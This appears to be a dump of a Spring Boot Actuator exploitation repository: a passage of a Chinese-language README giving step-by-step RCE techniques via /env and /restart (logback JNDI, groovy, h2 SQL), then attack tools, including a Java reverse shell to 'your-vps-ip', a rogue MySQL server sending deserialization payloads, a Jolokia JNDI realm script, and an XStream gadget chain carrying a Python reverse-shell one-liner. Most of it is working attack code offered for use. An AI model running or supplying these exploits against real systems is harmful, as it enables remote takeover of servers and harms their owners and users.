1489 | ​	[New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf)
1490 | 
1491 | 
1492 | 
1493 | #### 漏洞环境:
1494 | 
1495 | > 需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,保证可以正常连上 mysql 数据库,否则程序启动时就会报错退出
1496 | 
1497 | [repository/springboot-mysql-jdbc-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-mysql-jdbc-rce)
1498 | 
1499 | 正常访问:
1500 | 
1501 | ```
1502 | http://127.0.0.1:9097/actuator/env
1503 | ```
1504 | 
1505 | 发送完 payload 后触发漏洞:
1506 | 
1507 | ```
1508 | http://127.0.0.1:9097/product/list
1509 | ```
1510 | 
1511 | 
1512 | 
1513 | ### 0x09:restart logging.config logback JNDI RCE
1514 | 
1515 | #### 利用条件:
1516 | 
1517 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1518 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用
1519 | - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
1520 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
1521 | - ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
1522 | - ⚠️ JNDI 服务返回的 object 需要实现 `javax.naming.spi.ObjectFactory` 接口,否则会导致程序异常退出
1523 | 
1524 | 
1525 | 
1526 | #### 利用方法:
1527 | 
1528 | ##### 步骤一:托管 xml 文件
1529 | 
1530 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1531 | 
1532 | ```bash
1533 | # 使用 python 快速开启 http server
1534 | 
1535 | python2 -m SimpleHTTPServer 80
1536 | python3 -m http.server 80
1537 | ```
1538 | 
1539 | 
1540 | 
1541 | 在根目录放置以 `xml` 结尾的  `example.xml` 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:
1542 | 
1543 | ```xml
1544 | <configuration>
1545 |   <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
1546 | </configuration>
1547 | ```
1548 | 
1549 | 
1550 | 
1551 | ##### 步骤二:托管恶意 ldap 服务及代码
1552 | 
1553 | 参考[文章](https://landgrey.me/blog/21/),修改 [JNDIExploit](https://github.com/feihong-cs/JNDIExploit) 并启动(也可以使用其他方法):
1554 | 
1555 | ```bash
1556 | java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
1557 | ```
1558 | 
1559 | 
1560 | 
1561 | ##### 步骤三:设置 logging.config 属性
1562 | 
1563 | spring 1.x
1564 | 
1565 | ```
1566 | POST /env
1567 | Content-Type: application/x-www-form-urlencoded
1568 | 
1569 | logging.config=http://your-vps-ip/example.xml
1570 | ```
1571 | 
1572 | spring 2.x
1573 | 
1574 | ```
1575 | POST /actuator/env
1576 | Content-Type: application/json
1577 | 
1578 | {"name":"logging.config","value":"http://your-vps-ip/example.xml"}
1579 | ```
1580 | 
1581 | 
1582 | 
1583 | ##### 步骤四:重启应用
1584 | 
1585 | spring 1.x
1586 | 
1587 | ```
1588 | POST /restart
1589 | Content-Type: application/x-www-form-urlencoded
1590 | 
1591 | ```
1592 | 
1593 | spring 2.x
1594 | 
1595 | ```
1596 | POST /actuator/restart
1597 | Content-Type: application/json
1598 | 
1599 | ```
1600 | 
1601 | 
1602 | 
1603 | #### 漏洞原理:
1604 | 
1605 | 1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
1606 | 2. restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容
1607 | 3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
1608 | 4. xml 文件中利用 `logback` 依赖的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址
1609 | 5. 目标机器请求恶意  JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
1610 | 
1611 | 
1612 | 
1613 | #### 漏洞分析:
1614 | 
1615 | ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
1616 | 
1617 | ​	https://landgrey.me/blog/21/
1618 | 
1619 | 
1620 | 
1621 | #### 漏洞环境:
1622 | 
1623 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
1624 | 
1625 | 正常访问:
1626 | 
1627 | ```
1628 | http://127.0.0.1:9098/actuator/env
1629 | ```
1630 | 
1631 | 
1632 | 
1633 | ### 0x0A:restart logging.config groovy RCE
1634 | 
1635 | #### 利用条件:
1636 | 
1637 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1638 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用
1639 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
1640 | - ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
1641 | - ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出
1642 | 
1643 | 
1644 | 
1645 | #### 利用方法:
1646 | 
1647 | ##### 步骤一:托管 groovy 文件
1648 | 
1649 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1650 | 
1651 | ```bash
1652 | # 使用 python 快速开启 http server
1653 | 
1654 | python2 -m SimpleHTTPServer 80
1655 | python3 -m http.server 80
1656 | ```
1657 | 
1658 | 
1659 | 
1660 | 在根目录放置以 `groovy` 结尾的  `example.groovy` 文件,内容为需要执行的 groovy 代码,比如:
1661 | 
1662 | ```xml
1663 | Runtime.getRuntime().exec("open -a Calculator")
1664 | 
1665 | ```
1666 | 
1667 | 
1668 | 
1669 | ##### 步骤二:设置 logging.config 属性
1670 | 
1671 | spring 1.x
1672 | 
1673 | ```
1674 | POST /env
1675 | Content-Type: application/x-www-form-urlencoded
1676 | 
1677 | logging.config=http://your-vps-ip/example.groovy
1678 | ```
1679 | 
1680 | spring 2.x
1681 | 
1682 | ```
1683 | POST /actuator/env
1684 | Content-Type: application/json
1685 | 
1686 | {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
1687 | ```
1688 | 
1689 | 
1690 | 
1691 | ##### 步骤三:重启应用
1692 | 
1693 | spring 1.x
1694 | 
1695 | ```
1696 | POST /restart
1697 | Content-Type: application/x-www-form-urlencoded
1698 | 
1699 | ```
1700 | 
1701 | spring 2.x
1702 | 
1703 | ```
1704 | POST /actuator/restart
1705 | Content-Type: application/json
1706 | 
1707 | ```
1708 | 
1709 | 
1710 | 
1711 | #### 漏洞原理:
1712 | 
1713 | 1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
1714 | 2. restart 重启应用后,程序会请求设置的 URL 地址
1715 | 3. `logback-classic` 组件的 `ch.qos.logback.classic.util.ContextInitializer.java` 代码文件逻辑中会判断 url 是否以 `groovy` 结尾
1716 | 4. 如果 url 以 `groovy` 结尾,则最终会执行文件内容中的 groovy 代码,造成 RCE 漏洞
1717 | 
1718 | 
1719 | 
1720 | #### 漏洞环境:
1721 | 
1722 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
1723 | 
1724 | 正常访问:
1725 | 
1726 | ```
1727 | http://127.0.0.1:9098/actuator/env
1728 | ```
1729 | 
1730 | 
1731 | 
1732 | ### 0x0B:restart spring.main.sources groovy RCE
1733 | 
1734 | #### 利用条件:
1735 | 
1736 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1737 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用
1738 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
1739 | - ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
1740 | - ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出
1741 | 
1742 | 
1743 | 
1744 | #### 利用方法:
1745 | 
1746 | ##### 步骤一:托管 groovy 文件
1747 | 
1748 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1749 | 
1750 | ```bash
1751 | # 使用 python 快速开启 http server
1752 | 
1753 | python2 -m SimpleHTTPServer 80
1754 | python3 -m http.server 80
1755 | ```
1756 | 
1757 | 
1758 | 
1759 | 在根目录放置以 `groovy` 结尾的  `example.groovy` 文件,内容为需要执行的 groovy 代码,比如:
1760 | 
1761 | ```xml
1762 | Runtime.getRuntime().exec("open -a Calculator")
1763 | 
1764 | ```
1765 | 
1766 | 
1767 | 
1768 | ##### 步骤二:设置 spring.main.sources 属性
1769 | 
1770 | spring 1.x
1771 | 
1772 | ```
1773 | POST /env
1774 | Content-Type: application/x-www-form-urlencoded
1775 | 
1776 | spring.main.sources=http://your-vps-ip/example.groovy
1777 | ```
1778 | 
1779 | spring 2.x
1780 | 
1781 | ```
1782 | POST /actuator/env
1783 | Content-Type: application/json
1784 | 
1785 | {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
1786 | ```
1787 | 
1788 | 
1789 | 
1790 | ##### 步骤三:重启应用
1791 | 
1792 | spring 1.x
1793 | 
1794 | ```
1795 | POST /restart
1796 | Content-Type: application/x-www-form-urlencoded
1797 | 
1798 | ```
1799 | 
1800 | spring 2.x
1801 | 
1802 | ```
1803 | POST /actuator/restart
1804 | Content-Type: application/json
1805 | 
1806 | ```
1807 | 
1808 | 
1809 | 
1810 | #### 漏洞原理:
1811 | 
1812 | 1. 目标机器可以通过 spring.main.sources 属性来设置创建 ApplicationContext 的额外源的 URL 地址
1813 | 2. restart 重启应用后,程序会请求设置的 URL 地址
1814 | 3. `spring-boot` 组件中的 `org.springframework.boot.BeanDefinitionLoader.java` 文件代码逻辑中会判断 url 是否以 `.groovy` 结尾
1815 | 4. 如果 url 以 `.groovy` 结尾,则最终会执行文件内容中的 groovy 代码,造成 RCE 漏洞
1816 | 
1817 | 
1818 | 
1819 | #### 漏洞环境:
1820 | 
1821 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
1822 | 
1823 | 正常访问:
1824 | 
1825 | ```
1826 | http://127.0.0.1:9098/actuator/env
1827 | ```
1828 | 
1829 | 
1830 | 
1831 | ### 0x0C:restart spring.datasource.data h2 database RCE
1832 | 
1833 | #### 利用条件:
1834 | 
1835 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1836 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用
1837 | - 环境中需要存在 `h2database`、`spring-boot-starter-data-jpa` 相关依赖
1838 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
1839 | - ⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出
1840 | 
1841 | 
1842 | 
1843 | #### 利用方法:
1844 | 
1845 | ##### 步骤一:托管 sql 文件
1846 | 
1847 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1848 | 
1849 | ```bash
1850 | # 使用 python 快速开启 http server
1851 | 
1852 | python2 -m SimpleHTTPServer 80
1853 | python3 -m http.server 80
1854 | ```
1855 | 
1856 | 
1857 | 
1858 | 在根目录放置以任意名字的文件,内容为需要执行的 h2 sql 代码,比如:
1859 | 
1860 | > ⚠️ 下面payload 中的 'T5' 方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出
1861 | 
1862 | ```xml
1863 | CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
1864 | ```
1865 | 
1866 | 
1867 | 
1868 | ##### 步骤二:设置 spring.datasource.data 属性
1869 | 
1870 | spring 1.x
1871 | 
1872 | ```
1873 | POST /env
1874 | Content-Type: application/x-www-form-urlencoded
1875 | 
1876 | spring.datasource.data=http://your-vps-ip/example.sql
1877 | ```
1878 | 
1879 | spring 2.x
1880 | 
1881 | ```
1882 | POST /actuator/env
1883 | Content-Type: application/json
1884 | 
1885 | {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
1886 | ```
1887 | 
1888 | 
1889 | 
1890 | ##### 步骤三:重启应用
1891 | 
1892 | spring 1.x
1893 | 
1894 | ```
1895 | POST /restart
1896 | Content-Type: application/x-www-form-urlencoded
1897 | 
1898 | ```
1899 | 
1900 | spring 2.x
1901 | 
1902 | ```
1903 | POST /actuator/restart
1904 | Content-Type: application/json
1905 | 
1906 | ```
1907 | 
1908 | 
1909 | 
1910 | #### 漏洞原理:
1911 | 
1912 | 1. 目标机器可以通过 spring.datasource.data 属性来设置 jdbc DML sql 文件的 URL 地址
1913 | 2. restart 重启应用后,程序会请求设置的 URL 地址
1914 | 3. `spring-boot-autoconfigure` 组件中的 `org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java` 文件代码逻辑中会使用 `runScripts` 方法执行请求 URL 内容中的 h2 database sql 代码,造成 RCE 漏洞
1915 | 
1916 | 
1917 | 
1918 | #### 漏洞环境:
1919 | 
1920 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
1921 | 
1922 | 正常访问:
1923 | 
1924 | ```
1925 | http://127.0.0.1:9098/actuator/env
1926 | ```
1927 | 
1928 | 
1929 | 


--------------------------------------------------------------------------------
/codebase/JNDIObject.java:
--------------------------------------------------------------------------------
 1 | /**
 2 |  *  javac -source 1.5 -target 1.5 JNDIObject.java
 3 |  *
 4 |  *  Build By LandGrey
 5 |  * */
 6 | 
 7 | import java.io.File;
 8 | import java.io.InputStream;
 9 | import java.io.OutputStream;
10 | import java.net.Socket;
11 | 
12 | public class JNDIObject {
13 |     static {
14 |         try{
15 |             String ip = "your-vps-ip";
16 |             String port = "443";
17 |             String py_path = null;
18 |             String[] cmd;
19 |             if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
20 |                 String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
21 |                 for(int i = 0; i < py_envs.length; ++i) {
22 |                     String py = py_envs[i];
23 |                     if ((new File(py)).exists()) {
24 |                         py_path = py;
25 |                         break;
26 |                     }
27 |                 }
28 |                 if (py_path != null) {
29 |                     if ((new File("/bin/bash")).exists()) {
30 |                         cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
31 |                     } else {
32 |                         cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
33 |                     }
34 |                 } else {
35 |                     if ((new File("/bin/bash")).exists()) {
36 |                         cmd = new String[]{"/bin/bash"};
37 |                     } else {
38 |                         cmd = new String[]{"/bin/sh"};
39 |                     }
40 |                 }
41 |             } else {
42 |                 cmd = new String[]{"cmd.exe"};
43 |             }
44 |             Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
45 |             Socket s = new Socket(ip, Integer.parseInt(port));
46 |             InputStream pi = p.getInputStream();
47 |             InputStream pe = p.getErrorStream();
48 |             InputStream si = s.getInputStream();
49 |             OutputStream po = p.getOutputStream();
50 |             OutputStream so = s.getOutputStream();
51 |             while(!s.isClosed()) {
52 |                 while(pi.available() > 0) {
53 |                     so.write(pi.read());
54 |                 }
55 |                 while(pe.available() > 0) {
56 |                     so.write(pe.read());
57 |                 }
58 |                 while(si.available() > 0) {
59 |                     po.write(si.read());
60 |                 }
61 |                 so.flush();
62 |                 po.flush();
63 |                 Thread.sleep(50L);
64 |                 try {
65 |                     p.exitValue();
66 |                     break;
67 |                 } catch (Exception e) {
68 |                 }
69 |             }
70 |             p.destroy();
71 |             s.close();
72 |         }catch (Throwable e){
73 |             e.printStackTrace();
74 |         }
75 |     }
76 | }
77 | 


--------------------------------------------------------------------------------
/codebase/springboot-jdbc-deserialization-rce.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | # coding: utf-8
  3 | # -**- Author: LandGrey -**-
  4 | 
  5 | import os
  6 | import socket
  7 | import binascii
  8 | 
  9 | 
 10 | def server_send(conn, payload):
 11 |     global count
 12 |     count += 1
 13 |     print("[*] Package order: {}, Send: {}".format(count, payload))
 14 |     conn.send(binascii.a2b_hex(payload))
 15 | 
 16 | 
 17 | def server_receive(conn):
 18 |     global count, BUFFER_SIZE
 19 | 
 20 |     count += 1
 21 |     data = conn.recv(BUFFER_SIZE)
 22 |     print("[*] Package order: {}, Receive: {}".format(count, data))
 23 |     return str(data).lower()
 24 | 
 25 | 
 26 | def run_mysql_server():
 27 |     global count, deserialization_payload
 28 | 
 29 |     while True:
 30 |         count = 0
 31 |         conn, addr = server_socks.accept()
 32 |         print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
 33 |         greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
 34 |         server_send(conn, greeting)
 35 |         if os.path.isfile(deserialization_file):
 36 |             with open(deserialization_file, 'rb') as _f:
 37 |                 deserialization_payload = binascii.b2a_hex(_f.read())
 38 |         while True:
 39 |             # client auth
 40 |             server_receive(conn)
 41 |             server_send(conn, response_ok)
 42 | 
 43 |             # client query
 44 |             data = server_receive(conn)
 45 |             if "session.auto_increment_increment" in data:
 46 |                 _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
 47 |                 server_send(conn, _payload)
 48 |                 data = server_receive(conn)
 49 |             if "show warnings" in data:
 50 |                 _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
 51 |                 server_send(conn, _payload)
 52 |                 data = server_receive(conn)
 53 |             if "set names" in data:
 54 |                 server_send(conn, response_ok)
 55 |                 data = server_receive(conn)
 56 |             if "set character_set_results" in data:
 57 |                 server_send(conn, response_ok)
 58 |                 data = server_receive(conn)
 59 |             if "show session status" in data:
 60 |                 _data = '0100000102'
 61 |                 _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
 62 |                 _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
 63 |                 _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
 64 |                 _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
 65 |                 _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
 66 |                 _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
 67 |                 _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
 68 |                 _data += '07000005fe000022000100'
 69 |                 server_send(conn, _data)
 70 |                 data = server_receive(conn)
 71 |             if "show warnings" in data:
 72 |                 _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
 73 |                 server_send(conn, _payload)
 74 | 
 75 |             break
 76 |         try:
 77 |             conn.close()
 78 |         except Exception as e:
 79 |             pass
 80 | 
 81 | 
 82 | if __name__ == "__main__":
 83 |     HOST = "0.0.0.0"
 84 |     PORT = 3306
 85 | 
 86 |     deserialization_file = r'payload.ser'
 87 |     if os.path.isfile(deserialization_file):
 88 |         with open(deserialization_file, 'rb') as f:
 89 |             deserialization_payload = binascii.b2a_hex(f.read())
 90 |     else:
 91 |         deserialization_payload = 'aced****(your deserialized hex data)'
 92 | 
 93 |     count = 0
 94 |     BUFFER_SIZE = 1024
 95 |     response_ok = '0700000200000002000000'
 96 |     print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
 97 |     server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 98 |     server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 99 |     server_socks.bind((HOST, PORT))
100 |     server_socks.listen(1)
101 | 
102 |     run_mysql_server()
103 | 


--------------------------------------------------------------------------------
/codebase/springboot-realm-jndi-rce.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | # coding: utf-8
 3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
 4 | 
 5 | 
 6 | import requests
 7 | 
 8 | 
 9 | url = 'http://127.0.0.1:8080/jolokia'
10 | 
11 | 
12 | create_realm = {
13 |     "mbean": "Tomcat:type=MBeanFactory",
14 |     "type": "EXEC",
15 |     "operation": "createJNDIRealm",
16 |     "arguments": ["Tomcat:type=Engine"]
17 | }
18 | 
19 | wirte_factory = {
20 |     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
21 |     "type": "WRITE",
22 |     "attribute": "contextFactory",
23 |     "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
24 | }
25 | 
26 | write_url = {
27 |     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
28 |     "type": "WRITE",
29 |     "attribute": "connectionURL",
30 |     "value": "rmi://your-vps-ip:1389/JNDIObject"
31 | }
32 | 
33 | stop = {
34 |     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
35 |     "type": "EXEC",
36 |     "operation": "stop",
37 |     "arguments": []
38 | }
39 | 
40 | start = {
41 |     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
42 |     "type": "EXEC",
43 |     "operation": "start",
44 |     "arguments": []
45 | }
46 | 
47 | flow = [create_realm, wirte_factory, write_url, stop, start]
48 | 
49 | for i in flow:
50 |     print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
51 |     r = requests.post(url, json=i)
52 |     r.json()
53 |     print(r.status_code)
54 | 


--------------------------------------------------------------------------------
/codebase/springboot-xstream-rce.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | # coding: utf-8
 3 | # -**- Author: LandGrey -**-
 4 | 
 5 | from flask import Flask, Response
 6 | 
 7 | app = Flask(__name__)
 8 | 
 9 | 
10 | @app.route('/', defaults={'path': ''})
11 | @app.route('/<path:path>', methods=['GET', 'POST'])
12 | def catch_all(path):
13 |     xml = """<linked-hash-set>
14 |   <jdk.nashorn.internal.objects.NativeString>
15 |     <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
16 |       <dataHandler>
17 |         <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
18 |           <is class="javax.crypto.CipherInputStream">
19 |             <cipher class="javax.crypto.NullCipher">
20 |               <serviceIterator class="javax.imageio.spi.FilterIterator">
21 |                 <iter class="javax.imageio.spi.FilterIterator">
22 |                   <iter class="java.util.Collections$EmptyIterator"/>
23 |                   <next class="java.lang.ProcessBuilder">
24 |                     <command>
25 |                        <string>/bin/bash</string>
26 |                        <string>-c</string>
27 |                        <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
28 |                     </command>
29 |                     <redirectErrorStream>false</redirectErrorStream>
30 |                   </next>
31 |                 </iter>
32 |                 <filter class="javax.imageio.ImageIO$ContainsFilter">
33 |                   <method>
34 |                     <class>java.lang.ProcessBuilder</class>
35 |                     <name>start</name>
36 |                     <parameter-types/>
37 |                   </method>
38 |                   <name>foo</name>
39 |                 </filter>
40 |                 <next class="string">foo</next>
41 |               </serviceIterator>
42 |               <lock/>
43 |             </cipher>
44 |             <input class="java.lang.ProcessBuilder$NullInputStream"/>
45 |             <ibuffer></ibuffer>
46 |           </is>
47 |         </dataSource>
48 |       </dataHandler>
49 |     </value>
50 |   </jdk.nashorn.internal.objects.NativeString>
51 | </linked-hash-set>"""
52 |     return Response(xml, mimetype='application/xml')
53 | 
54 | 
55 | if __name__ == "__main__":
56 |     app.run(host='0.0.0.0', port=80)
57 | 


--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springboot-eureka-xstream-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 | 
11 |     <properties>
12 |         <java.version>1.8</java.version>
13 |         <springboot.version>1.4.7.RELEASE</springboot.version>
14 |         <netflix.eureka.version>1.4.0.RELEASE</netflix.eureka.version>
15 | 
16 |         <spring-cloud-commons.version>1.1.3.RELEASE</spring-cloud-commons.version>
17 |         <spring-cloud-netflix.version>1.2.0.RELEASE</spring-cloud-netflix.version>
18 |     </properties>
19 | 
20 |     <dependencies>
21 |         <dependency>
22 |             <groupId>org.springframework.boot</groupId>
23 |             <artifactId>spring-boot-starter-web</artifactId>
24 |             <version>${springboot.version}</version>
25 |         </dependency>
26 | 
27 |         <dependency>
28 |             <groupId>org.springframework.boot</groupId>
29 |             <artifactId>spring-boot-starter-actuator</artifactId>
30 |             <version>${springboot.version}</version>
31 |         </dependency>
32 | 
33 |         <dependency>
34 |             <groupId>org.springframework.cloud</groupId>
35 |             <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
36 |             <version>${netflix.eureka.version}</version>
37 |         </dependency>
38 | 
39 |     </dependencies>
40 | 
41 |     <dependencyManagement>
42 |         <dependencies>
43 | <!--            import dependency way 1-->
44 |             <dependency>
45 |                 <groupId>org.springframework.cloud</groupId>
46 |                 <artifactId>spring-cloud-commons-dependencies</artifactId>
47 |                 <version>${spring-cloud-commons.version}</version>
48 |                 <type>pom</type>
49 |                 <scope>import</scope>
50 |             </dependency>
51 | 
52 |             <dependency>
53 |                 <groupId>org.springframework.cloud</groupId>
54 |                 <artifactId>spring-cloud-netflix-dependencies</artifactId>
55 |                 <version>${spring-cloud-netflix.version}</version>
56 |                 <type>pom</type>
57 |                 <scope>import</scope>
58 |             </dependency>
59 | 
60 | <!--            import dependency way 2 -->
61 | <!--            <dependency>-->
62 | <!--                <groupId>org.springframework.cloud</groupId>-->
63 | <!--                <artifactId>spring-cloud-dependencies</artifactId>-->
64 | <!--                <version>Camden.RELEASE</version>-->
65 | <!--                <type>pom</type>-->
66 | <!--                <scope>import</scope>-->
67 | <!--            </dependency>-->
68 |         </dependencies>
69 |     </dependencyManagement>
70 | 
71 |     <build>
72 |         <plugins>
73 |             <plugin>
74 |                 <groupId>org.springframework.boot</groupId>
